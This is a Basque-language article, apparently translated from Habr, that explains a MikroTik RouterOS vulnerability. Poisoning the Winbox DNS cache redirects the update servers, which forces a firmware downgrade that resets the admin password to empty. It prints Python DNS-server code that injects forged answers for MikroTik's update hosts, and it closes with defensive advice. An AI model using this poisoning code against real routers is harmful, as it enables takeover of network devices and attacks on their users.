RouterOS-en (Mikrotik) oinarritutako gailuak urrunetik behera egiteko gaitasunak ehunka milaka sareko gailu arriskuan jartzen ditu. Ahultasuna Winbox protokoloaren DNS cachearen pozoitzearekin lotuta dago eta zaharkitua (pasahitz lehenetsia berrezarri) edo aldatutako firmwarea gailuan kargatzeko aukera ematen du.
Zaurgarritasunaren xehetasunak
RouterOS terminalak DNS bilaketarako ebazteko komandoa onartzen du.
Eskaera hau ebazteko izeneko bitar batek kudeatzen du. Resolver RouterOS-en Winbox protokolora konektatzen diren bitar ugarietako bat da. Maila altuan, Winbox atakara bidalitako "mezuak" RouterOS-en hainbat bitartara bideratu daitezke matrizean oinarritutako zenbaki-eskema batean oinarrituta.
Lehenespenez, RouterOSek DNS zerbitzariaren funtzioa desgaituta dauka.
Hala ere, zerbitzariaren funtzioa desgaituta dagoenean ere, bideratzaileak bere DNS cachea mantentzen du.
winbox_dns_request adibidez example.com erabiliz eskaera bat egiten dugunean, bideratzaileak emaitza cachetuko du.
Eskaera zein den DNS zerbitzaria zein den zehaztu dezakegunez, helbide okerrak sartzea hutsala da. Adibidez, DNS zerbitzariaren inplementazioa konfigura dezakezu
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Orain Winbox erabiliz example.com bilatzen baduzu, bideratzailearen DNS cachea pozoituta dagoela ikus dezakezu.
Noski, example.com pozoitzea ez da oso erabilgarria, bideratzaileak ez baitu benetan erabiliko. Hala ere, bideratzaileak upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com eta download.mikrotik.com atzitu behar ditu. Eta beste akats bati esker, posible da guztiak aldi berean pozoitzea.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Bideratzaileak baimen bat eskatzen du, eta bost atzera ematen ditugu. Bideratzaileak ez ditu erantzun horiek guztiak behar bezala gordetzen.
Jakina, eraso hau ere baliagarria da bideratzailea DNS zerbitzari gisa ari bada, bideratzailearen bezeroak erasotzeko aukera ematen baitu.
Eraso honek ahultasun larriago bat ustiatzeko aukera ematen du: RouterOS-en bertsioa jaitsi edo atzera eraman. Erasotzaileak eguneratze zerbitzariaren logika birsortzen du, aldaketa-erregistroa barne, eta RouterOS bertsio zaharkitua (ahulgarria) egungoa dela hautematea behartzen du. Arriskua hemen datza, bertsioa "eguneratuta" denean, administratzailearen pasahitza lehenetsitako baliora berrezartzen dela - erasotzaileak pasahitz hutsarekin sar dezake sisteman!
Erasoa nahiko funtzionatzen ari da, hala ere
babes
Winbox desgaitzeak eraso hauetatik babesteko aukera ematen du. Winbox bidez administratzeko erosotasuna izan arren, hobe da SSH protokoloa erabiltzea.
Iturria: www.habr.com